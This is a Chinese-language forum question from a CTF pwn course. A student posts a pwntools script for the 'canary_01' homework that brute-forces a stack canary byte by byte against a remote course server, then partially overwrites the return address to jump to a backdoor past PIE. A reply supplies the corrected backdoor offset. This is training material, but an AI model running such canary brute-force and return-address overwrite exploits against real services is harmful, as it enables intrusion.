首頁(yè)
社區(qū)
課程
招聘
作業(yè):canary_01問(wèn)題。本地可以爆破成功,遠(yuǎn)程失敗,沒(méi)有調(diào)試思路

問(wèn)題描述

作業(yè):canary_01即protect_full,本地爆破Canary和PIE成功,遠(yuǎn)端爆破Canary成功,PIE失敗,想了解利用是否有問(wèn)題

問(wèn)題出現(xiàn)的環(huán)境背景及自己嘗試過(guò)哪些方法

本地虛擬機(jī):課程提供的Ubuntu 20.04 64位
利用思路:期望將ret值的低2字節(jié)改為backdoor的值從而繞過(guò)PIE

相關(guān)代碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
 
elf = ELF("./protect_full")
# libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# p = process([elf.path])
p = remote('123.59.196.133', '10015')
 
canary = '\x00'
while len(canary) < 8:
    for i in range(0x100):
        payload = ''
        payload += 'a' * 0x18
        payload += canary
        payload += p8(i)
        p.sendafter('Okay', payload)
        if not p.recvline_contains('stack smashing detected', timeout=1):
            canary += p8(i)
            break
 
canary = u64(canary)
 
backdoor = 0x8e4
for i in range(0x10):
    k = i << 12
    payload = ''
    payload += 'a' * 0x18
    payload += p64(canary)
    payload += 'b' * 8
    payload += p16(backdoor + k)
    p.sendafter('Okay', payload)
    buf = p.recv()
    if b'flag' in buf:
        print(buf)
        break
 
p.interactive()

相關(guān)調(diào)試信息

附圖或描述

你期待的結(jié)果是什么?實(shí)際看到的錯(cuò)誤信息又是什么?

期望了解遠(yuǎn)端PIE爆破失敗的問(wèn)題在哪,腳本是否有問(wèn)題

收藏
2條回答
jelasin 2024-3-9 2024-3-9編輯

backdoor是0x9e0,更新了

回復(fù) 已采納
Art1cuno: 搞定了謝謝師傅
回復(fù) 2024-3-9
mb_udrekzgh: 大佬加我qq幫我個(gè)事情唄2671511587
回復(fù) 2024-3-19
mb_fozeicvl: 舌頭舔著牙齒怎么老是舔著縮不回去了
回復(fù) 2024-3-20
gaoweb 2024-7-4

mark

回復(fù)
CTF PWN 入門(mén)之旅 : Linux pwn 探索篇
  參與學(xué)習(xí)     53 人
  提問(wèn)次數(shù)     19 個(gè)
《Linux pwn 探索篇》;從0到1,打造堅(jiān)實(shí)的Pwn基礎(chǔ)
我的問(wèn)答 領(lǐng)取收益
0
我的提問(wèn)
0
我的回答
0
學(xué)習(xí)收益